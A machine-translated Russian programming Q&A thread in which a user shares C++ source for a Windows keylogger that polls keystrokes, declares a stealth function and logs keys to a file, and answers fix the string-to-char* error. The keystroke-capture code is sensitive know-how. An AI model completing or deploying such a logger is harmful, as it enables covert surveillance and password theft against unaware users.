В настоящее время я работаю над простым кейлоггером, чтобы доказать концепцию. Но я продолжаю получать эту ошибку:
cannot convert 'std::string {aka std::basic_string<char>}' to 'char*' for argument '2' to 'int Save(int, char*)'
И да, я искал вокруг, но никто из них не работал. Я пытаюсь прочитать переменную из текстового файла.
Как это исправить? Код:
int Save (int key_stroke, char *file);
int getFile (string file);
void Stealth();
string fileN;
int main()
{
ifstream fN("c.txt");
fN >> fileN;
Stealth();
char i;
while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,fileN);
}
}
system ("PAUSE");
return 0;
}
/* *********************************** */
int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
cout << key_stroke << endl;
if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose (OUTPUT_FILE);
return 0;
}
Как говорится в сообщении об ошибке, вы пытаетесь передать std::string
в функцию, которая ожидает указатель на массив символов.
Лучшим решением является изменение функции для работы со строкой:
int Save (int key_stroke, const std::string & file);
а затем извлеките указатель, когда вам понадобится один
fopen(file.c_str(), "a+");
^^^^^^^^
В качестве альтернативы, если вы хотите сохранить эстетику C-стиля вашего кода, вы можете изменить тип параметра на const char *
и передать ему fileN.c_str()
.
Чтобы получить строку стиля C из строки std::string
, используйте c_str()
члена c_str()
. Он вернет завершенный const char *
. Однако ваша функция принимает char*
. Конечно, вы могли бы const_cast
указатель на получение char*
но гораздо более разумный подход состоял бы в том, чтобы ваша функция принимала const char*
или const std::string&
в первую очередь.
Save
принимаетconst char*
, а затем передает емуfileN.c_str()
. В связи с этим, почему бы неSave
const string&
?